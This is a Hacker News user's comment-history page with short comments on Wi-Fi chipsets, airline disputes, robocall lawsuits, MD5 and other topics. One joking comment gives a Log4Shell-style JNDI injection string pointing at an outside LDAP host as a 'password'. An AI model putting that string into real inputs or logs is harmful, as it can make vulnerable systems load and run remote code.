HNHacker News
TopNewBestAskShowJobs

ipython

5,858 karma · joined August 20, 2014

submissionscomments
ipython··on Password may not contain: select, insert, update, delete, drop
But why would you ever send a plaintext password into a sql query?
ipython··on Password may not contain: select, insert, update, delete, drop
Phew. They’ll never catch me. My password is

    ${jndi:ldap://hunter2.com/totallylegit}
ipython··on You Don't Need Health Insurance
You should have kept reading because she then reveals that she used the life event (of becoming pregnant) to enroll in an insurance plan.

I agree, my wife totally intended on a minimal medical intervention based birth. Still went to the hospital, just in case, as we had planned. Turns out that after hours of contractions, the birth was not going to happen (sparing the details) and a section was necessary after all. You simply can’t plan for this ahead of time.

ipython··on Apple built iCloud to store billions of databases
I had a similar issue when I was trying to back up all my iCloud photos to S3 through the PhotoSync app[0]. I had about 600 photos that could not be downloaded from iCloud photos onto my iPhone. I ended up disabling iCloud Photos on the iPhone, then re-enabling it. This did end up making those photos available for download and the sync worked... it was rather nerve wracking though.

[0] https://www.photosync-app.com/home

ipython··on BEEP: The Blocks Extensible Exchange Protocol
Total blast from the past. Xgrid[0] used BEEP for its inter-node communication protocol. I haven't thought about any of this for almost 20 years now...

[0] https://en.wikipedia.org/wiki/Xgrid

ipython··on ESP32-C61: Delivering Affordable Wi-Fi 6 Connectivity
I will start by saying I am not an embedded engineer. Given that I am but a consumer of about a dozen different IoT devices, I would love it if embedded wifi chipsets didn’t suck so much. I don’t care if it’s WiFi 4, just make them not suck.

Each manufacturer seems to have their own little quirks you need to work around: one device only works well on 2.4 channel 1, another will aggressively roam to other access points (even though it and the ap are stationary, and the closest ap has < -60dbm signal). Even the most relatively well behaved modules will disconnect and reconnect constantly (average connection time is ~10 minutes to an hour, mind you the device is constantly connected to mains power). God forbid you enable any 802.11 extensions on the radio servicing those devices, then you’re really in for a world of hurt.

Then when you complain to the manufacturer, you get super helpful advice like “factory reset your router” and “open the following 28 ports through your nat gateway to our device” (sooooo… and if I have two of your devices, what then?). It’s a total shitshow.

ipython··on Why does holding a key fob to your head increase its range?
Funny I came here to share the “chin” trick as well.
ipython··on Macs can now inform Apple if any liquids have been detected in the USB-C ports
Ha. Not the parent but most likely it fell out of their pocket while on the roof - perhaps cleaning said gutters - and wasn’t noticed until later.

I did something similar many years ago with a Motorola razr phone. I was digging trenches for an irrigation system. I checked for my phone a day later and had no idea where it went. My best guess is that it fell out of my pocket and into the trench, which was subsequently covered up.

I joke that one day a more advanced civilization will dig up this ancient artifact, wonder what its purpose could have been, and make up some fantastical story after the fact as to why it ended up in that shallow trench.

ipython··on The Curious Case of MD5
I read through this hoping to have a reasonable discussion of the difference between preimage attacks (see https://en.m.wikipedia.org/wiki/Preimage_attack) and was disappointed when I did not see the topic mentioned once. :(

It is much more computationally feasible to create two inputs from scratch that hash to the same value than to forge an existing documents hash (the threat model I’m assuming they’re discussing in relation to the law).

As far as I know I am not aware of a demonstrated second preimage attack on md5. Not saying to keep using it, just trying to not spread fud.

Edit: I do see second preimage is mentioned about 3/4 of the way through the article. I confess that I did stop reading and started skimming before then.

ipython··on Sony software updates breaks movie theater projectors
I argue Sony doesn’t care as this isn’t the first time they’ve shafted customers (see below), and it sure as heck won’t be the last.

https://en.m.wikipedia.org/wiki/Sony_BMG_copy_protection_roo...

ipython··on Wi-Fi 7 Signals the Industry's New Priority: Stability
Absolutely works for homes. Problem is it’s more expensive and requires know how- it’s not just “plug in router with max power and 52 antennas”
ipython··on Wi-Fi 7 Signals the Industry's New Priority: Stability
That’s the preferred deployment strategy anyway (less power, more cells)
ipython··on In 2024, please switch to Firefox
Wouldn’t it be Ctrl-v not ctrl-p? To paste instead of print a blank page?
ipython··on Max Verstappen Is Still Too Young to Rent a Sports Car
Regarding insuring young drivers: I bought a bmw using their excellent European delivery program in 2001. I was about 20yo at the time. As part of the delivery process, you are provided a zero deductible insurance policy to cover the car until you drop it back off at the port to be delivered to you at home.

I took a glance at the paperwork - the insurance premium for a month long policy for me was 900 euro. In 2001.

ipython··on Operation Triangulation: What you get when attack iPhones of researchers
The mitigation is that the mmio range in question has been marked as unwritable in the device trees on recent versions of iOS.
ipython··on Qatar Airways Bans YouTuber for Negative Review
Ah see that’s the problem. Discover Qatar and Qatar airways are the same company. I run the risk of never being able to book on Qatar airways if I chargeback my discover Qatar booking.
ipython··on Qatar Airways Bans YouTuber for Negative Review
I left out that the airline tried to blame us by placing “pax no show” in our ticket record on the global reservation system. I had to call my travel agent to set the record straight in the system, after which I was able to get the airline to capitulate.

Placing “no show” in the record to try and blame us was definitely not good customer service.

Sure my gripe may be with the government, but what difference does it make? They are one and the same given that both entities will point fingers at each other. I tried calling Qatar airways first - they were the ones who suggested calling the health authorities.

As I’ve posted on this site in the past, I am very meticulous when preparing documentation for foreign trips. So I spent hours researching the policies and procedures and had dozens of pages of documentation on me as a contingency plan. I would expect that an airline would do the same if you were in a similar situation after the significant research you’ve done! I would not just give up and say it’s your fault. That’s not an acceptable outcome in my opinion, especially after you’ve taken pains to do the right thing.

I didn’t expect any compensation but I did expect them to make good on the contract of carriage to get us home by rebooking us on the same itinerary just without the day long stopover.

ipython··on Qatar Airways Bans YouTuber for Negative Review
I filled out what was documented at the time I left, including preparing for and acquiring a COVID test while in Egypt 24-48 hours before boarding the flight to Doha.

The Qatar websites were not clear and when I called the Qatar health authorities ahead of the trip to clarify, they refused to give any guidance but assured me that my circumstances would allow me to travel and complete my stopover without an issue.

So I did the best I could and had a 1/2” binder with dozens of pages of documentation with me during the whole trip. At some point there is only so much research you can do and at the end of the day you’re just subject to an arbitrary interpretation of a vague and rapidly changing rules written in a language you don’t understand.

ipython··on The debt problem is enormous, and the system for fixing it is broken
Probably referring to https://en.wikipedia.org/wiki/Trump_fake_electors_plot
ipython··on Qatar Airways Bans YouTuber for Negative Review
Not surprising. I took my family on a multi country trip between France, Egypt and Qatar in mid 2022. We splurged for q suites on Qatar airways and also a hotel stay via Discover Qatar.

Fast forward to our aborted attempt at entering the country. We are denied boarding on Qatar airways for our return flight via Doha with our booked stopover. Apparently there is some sort of electronic approval process we did not perform - mind you, we had already filed the forms including our negative Covid tests taken in country- but to no avail. Qatar airways refused to rebook us as they claimed we were a no show. After hours of calls with the airline we finally convinced them to rebook us at no cost, without the stopover. Discover Qatar continues to this day to refuse a refund for a hotel stay we could not use as we were denied entry.

First world problems, yes, but when you’re looking for tourism dollars, don’t piss off your customer base.

ipython··on Postfix 25 years old today
Wow. I had used Postfix back in the day for our mail exchange gateways, but had no idea that it originated from IBM. Postfix was a great piece of software- did one thing, did it well, was easy to configure and manage, and was secure to boot.
ipython··on Walk and Talk
I have two kids with diagnosed ADHD and I can guarantee you that we did not shove a screen in front of them as toddlers and we push them both to exert themselves through physical activity, even though one in particular actively fights it every time.
ipython··on Why Amazon Has No Profits (2014)
No but it did have Prodigy...

https://en.wikipedia.org/wiki/Prodigy_(online_service)

ipython··on YouTube doesn't want to take down scam ads
Perhaps then this is really Elon planting these ads after all, to bring advertisers back to Twitter. /s
ipython··on US Attorney Announces Distribution of Over $158M to ~25k Victims of Madoff Ponzi
I understand that the return is mostly due to the appreciation of FTX's early investment in Anthropic (which prosecutors believed was made with customers' funds).
ipython··on Report Phone Spam – Shut down robocallers and text spammers
That's the art & science of it... you need to social engineer the info out of them. Most of the time, even if you do get a caller ID, it's spoofed, so it doesn't matter what "number" they call you from. You need to identify a business with an address and phone number, and definitively tie the activity back to that business.

Yes, it takes time and skill, but then again, between the TCPA and state statutes you could potentially recover close to $6000 per call. Now when you negotiate a settlement you may not actually see that much, but you are definitely getting the attention of the offenders, and just the process of responding to your complaint (lawyer time) will take another few thousand dollars out of the pockets of these cretin.

ipython··on Report Phone Spam – Shut down robocallers and text spammers
It provides a private right of action for you to sue the culprit in civil court. I have personally received thousands of dollars in compensation for every case I’ve brought under the statute.

Unfortunately most of the culprits nowadays are overseas scammers, in which case it’s no help. I would agree in that case- the only way to stop these folks is through the carriers themselves and they don’t seem too keen on doing anything.

ipython··on Report Phone Spam – Shut down robocallers and text spammers
I can assure you I have never opted in to being called by random Indians claiming to be social security employees.

It’s open enrollment for Medicare, and I can also assure you that not only do I not qualify for Medicare but I have also not opted in to incessant Medicare spam.

I also never opted in for political messaging.

I also never opted in for calls regarding Camp Lejune injuries.

I also never opted in for calls about automobile accident injuries.

I also never opted in to be contacted for final expense insurance.

Shall I go on? Carriers most certainly have not “cracked” illegal spam through analytics. My carrier stops about 20-50% of the spam I receive.

The TCPA is great to cut down on the onshore businesses using illegal telemarketing to promote their business, but does nothing for the offshore scams. I’ve used TCPA in the past and helped carriers identify and sue telemarketers so I am very familiar with it.

ipython··on Report Phone Spam – Shut down robocallers and text spammers
The TCPA deputizes you as a private citizen to enforce it. It’s empowering, so much so I would be amazed if anything like it would be passed these days.
ipython··on IBM to end 401(k) match, offering a hybrid plan
Any limitations on the %age of your paycheck to 401k is your employer. I’ve set my 401k contribution to 80% in the past.
← PreviousPage 22 of 34Next →